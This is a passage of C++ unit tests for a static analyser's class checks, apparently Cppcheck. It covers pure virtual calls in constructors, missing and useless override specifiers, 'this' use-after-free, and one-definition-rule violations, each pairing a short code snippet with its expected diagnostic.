pure()=0;\\n\"\n \" int nonpure()\\n\"\n \" {return pure();}\\n\"\n \" A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::A():m(nonpure())\\n\"\n \"{}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:9:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", \"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pure();}\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{nonpure();}\");\n ASSERT_EQUALS(\"[test.cpp:10:2] -> [test.cpp:5:6] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(bool b);\\n\"\n \"};\\n\"\n \"A::A(bool b)\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in constructor. [pureVirtualCall]\\n\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" virtual ~A();\\n\"\n \" int m;\\n\"\n \"};\\n\"\n \"A::~A()\\n\"\n \"{if (b) pure();}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:3:18]: (warning) Call of pure virtual function 'pure' in destructor. [pureVirtualCall]\\n\", errout_str());\n\n // #5831\n checkVirtualFunctionCall(\"class abc {\\n\"\n \"public:\\n\"\n \" virtual ~abc() throw() {}\\n\"\n \" virtual void def(void* g) throw () = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4992\n checkVirtualFunctionCall(\"class CMyClass {\\n\"\n \" std::function< void(void) > m_callback;\\n\"\n \"public:\\n\"\n \" CMyClass() {\\n\"\n \" m_callback = [this]() { return VirtualMethod(); };\\n\"\n \" }\\n\"\n \" virtual void VirtualMethod() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10559\n checkVirtualFunctionCall(\"struct S {\\n\"\n \" S(const int x) : m(std::bind(&S::f, this, x, 42)) {}\\n\"\n \" virtual int f(const int x, const int y) = 0;\\n\"\n \" std::function m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallOtherClass() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A(const A & a);\\n\"\n \"};\\n\"\n \"A::A(const A & a)\\n\"\n \"{a.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"class B\\n\"\n \"{\\n\"\n \" virtual void pure()=0;\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{B b; b.pure();}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void pureVirtualFunctionCallWithBody() {\n checkVirtualFunctionCall(\"class A\\n\"\n \"{\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{pureWithBody();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pureWithBody()=0;\\n\"\n \" void nonpure()\\n\"\n \" {pureWithBody();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure();}\\n\"\n \"void A::pureWithBody()\\n\"\n \"{}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void pureVirtualFunctionCallPrevented() {\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (bCallPure) pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" { if (!bCallPure) ; else pure();}\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualFunctionCall(\"class A\\n\"\n \" {\\n\"\n \" virtual void pure()=0;\\n\"\n \" void nonpure(bool bCallPure)\\n\"\n \" {\\n\"\n \" switch (bCallPure) {\\n\"\n \" case true: pure(); break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" A();\\n\"\n \"};\\n\"\n \"A::A()\\n\"\n \"{nonpure(false);}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define checkOverride(...) checkOverride_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOverride_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkOverride)();\n }\n\n void override1() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f(); };\");\n ASSERT_EQUALS(\"[test.cpp:1:27] -> [test.cpp:2:37]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() override; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { virtual void f() final; };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base {\\n\"\n \"public:\\n\"\n \" virtual auto foo( ) const -> size_t { return 1; }\\n\"\n \" virtual auto bar( ) const -> size_t { return 1; }\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public :\\n\"\n \" auto foo( ) const -> size_t { return 0; }\\n\"\n \" auto bar( ) const -> size_t override { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:8:10]: (style) The function 'foo' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"namespace Test {\\n\"\n \" class C {\\n\"\n \" public:\\n\"\n \" virtual ~C();\\n\"\n \" };\\n\"\n \"}\\n\"\n \"class C : Test::C {\\n\"\n \"public:\\n\"\n \" ~C();\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:18] -> [test.cpp:9:6]: (style) The destructor '~C' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct Base {\\n\"\n \" virtual void foo();\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct Derived: public Base {\\n\"\n \" void foo() override;\\n\"\n \" void foo(int);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct B {\\n\" // #9092\n \" virtual int f(int i) const = 0;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" struct D : B {\\n\"\n \" virtual int f(int i) const;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:6:21]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char, double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', double);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char, int);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c = '\\\\0', int);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::set);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct A {\\n\"\n \" virtual void f(char c, std::vector v);\\n\"\n \"};\\n\"\n \"struct D : A {\\n\"\n \" void f(char c, std::vector w = {});\\n\"\n \"};\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2:18] -> [test.cpp:5:8]: (style) The function 'f' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", \"\", errout_str());\n\n checkOverride(\"struct T {};\\n\" // #10920\n \"struct B {\\n\"\n \" virtual T f() = 0;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" friend T f();\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"struct S {};\\n\" // #11827\n \"struct SPtr {\\n\"\n \" virtual S* operator->() const { return p; }\\n\"\n \" S* p = nullptr;\\n\"\n \"};\\n\"\n \"struct T : public S {};\\n\"\n \"struct TPtr : public SPtr {\\n\"\n \" T* operator->() const { return (T*)p; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:16] -> [test.cpp:8:8]: (style) The function 'operator->' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n\n checkOverride(\"class Base {\\n\" // #12131\n \" virtual int Calculate(int arg) = 0;\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \" int Calculate(int arg = 0) {\\n\"\n \" return arg * 2;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:5:9]: (style) The function 'Calculate' overrides a function in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\", errout_str());\n\n checkOverride(\"struct S {\\n\" // #12439\n \" virtual ~S() = default;\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \" ~D() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14] -> [test.cpp:5:6]: (style) The destructor '~D' overrides a destructor in a base class but is not marked with a 'override' specifier. [missingOverride]\\n\",\n errout_str());\n }\n\n void overrideCVRefQualifiers() {\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() const; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() volatile; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOverride(\"class Base { virtual void f(); };\\n\"\n \"class Derived : Base { void f() &&; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n #define checkUselessOverride(...) checkUselessOverride_(__FILE__, __LINE__, __VA_ARGS__)\n void checkUselessOverride_(const char* file, int line, const char code[]) {\n const Settings settings = settingsBuilder().severity(Severity::style).build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUselessOverride)();\n }\n\n void uselessOverride() {\n checkUselessOverride(\"struct B { virtual int f() { return 5; } };\\n\" // #11757\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:25] -> [test.cpp:3:10]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f() = 0; };\\n\"\n \"int B::f() { return 5; }\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:24] -> [test.cpp:3:9]: (style) The function 'f' overrides a function in a base class but just delegates back to the base class. [uselessOverride]\\n\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i) override { return B::f(i + 1); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(int i, int j); };\\n\"\n \"struct D : B {\\n\"\n \" int f(int i, int j) override { return B::f(j, i); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual int f(); };\\n\"\n \"struct I { virtual int f() = 0; };\\n\"\n \"struct D : B, I {\\n\"\n \" int f() override { return B::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S { virtual void f(); };\\n\"\n \"struct D : S {\\n\"\n \" void f() final { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct S {\\n\"\n \"protected:\\n\"\n \" virtual void f();\\n\"\n \"};\\n\"\n \"struct D : S {\\n\"\n \"public:\\n\"\n \" void f() override { S::f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(int, int, int) const; };\\n\" // #11799\n \"struct D : B {\\n\"\n \" int m = 42;\\n\"\n \" void f(int a, int b, int c) const override;\\n\"\n \"};\\n\"\n \"void D::f(int a, int b, int c) const {\\n\"\n \" B::f(a, b, m);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #11803\n \" virtual void f();\\n\"\n \" virtual void f(int i);\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { B::f(); }\\n\"\n \" void f(int i) override;\\n\"\n \" void g() { f(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B { virtual void f(); };\\n\" // #11808\n \"struct D : B { void f() override {} };\\n\"\n \"struct D2 : D {\\n\"\n \" void f() override {\\n\"\n \" B::f();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" virtual int f() { return 1; }\\n\"\n \" virtual int g() { return 7; }\\n\"\n \" virtual int h(int i, int j) { return i + j; }\\n\"\n \" virtual int j(int i, int j) { return i + j; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return 2; }\\n\"\n \" int g() override { return 7; }\\n\"\n \" int h(int j, int i) override { return i + j; }\\n\"\n \" int j(int i, int j) override { return i + j; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:9:9]: (style) The function 'g' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\"\n \"[test.cpp:5:17] -> [test.cpp:11:9]: (style) The function 'j' overrides a function in a base class but is identical to the overridden function [uselessOverride]\\n\",\n errout_str());\n\n checkUselessOverride(\"struct B : std::exception {\\n\"\n \" virtual void f() { throw *this; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { throw *this; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO virtual void f() {}\\n\"\n \"struct B {\\n\"\n \" MACRO\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" MACRO\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" B() = default;\\n\"\n \" explicit B(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" virtual int f() const { return m; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" explicit D(int i) : m(i) {}\\n\"\n \" int m{};\\n\"\n \" int f() const override { return m; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\"\n \" int g() const;\\n\"\n \" virtual int f() const { return g(); }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int g() const;\\n\"\n \" int f() const override { return g(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"#define MACRO 1\\n\"\n \"struct B { virtual int f() { return 1; } };\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return MACRO; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12706\n \" virtual void f() { g(); }\\n\"\n \" void g() { std::cout << \\\"Base\\\\n\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" void f() override { g(); }\\n\"\n \" virtual void g() { std::cout << \\\"Derived\\\\n\\\"; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkUselessOverride(\"struct B {\\n\" // #12946\n \" virtual int f() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" int f() override { return b.f(); }\\n\"\n \" B b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkUnsafeClassRefMember(...) checkUnsafeClassRefMember_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkUnsafeClassRefMember_(const char* file, int line, const char (&code)[size]) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).build();\n settings.safeChecks.classes = true;\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkUnsafeClassRefMember)();\n }\n\n void unsafeClassRefMember() {\n checkUnsafeClassRefMember(\"class C { C(const std::string &s) : s(s) {} const std::string &s; };\");\n ASSERT_EQUALS(\"[test.cpp:1:37]: (warning) Unsafe class: The const reference member 'C::s' is initialized by a const reference constructor argument. You need to be careful about lifetime issues. [unsafeClassRefMember]\\n\", errout_str());\n }\n\n\n#define checkThisUseAfterFree(...) checkThisUseAfterFree_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisUseAfterFree_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkThisUseAfterFree)();\n }\n\n void thisUseAfterFree() {\n setMultiline();\n\n // Calling method..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete mInstance; hello(); }\\n\"\n \"private:\\n\"\n \" static C *mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:38]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:38]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { reset(); hello(); }\\n\"\n \"private:\\n\"\n \" static std::shared_ptr mInstance;\\n\"\n \" void hello();\\n\"\n \" void reset() { mInstance.reset(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:29]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:29]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:7:18]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:3:29]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Use member..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x[1] = 123; }\\n\"\n \"private:\\n\"\n \" static C *self;\\n\"\n \" std::map x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:33]: warning: Using member 'x' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:5:13]: note: Assuming 'self' is used as 'this'\\n\"\n \"[test.cpp:3:20]: note: Delete 'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n 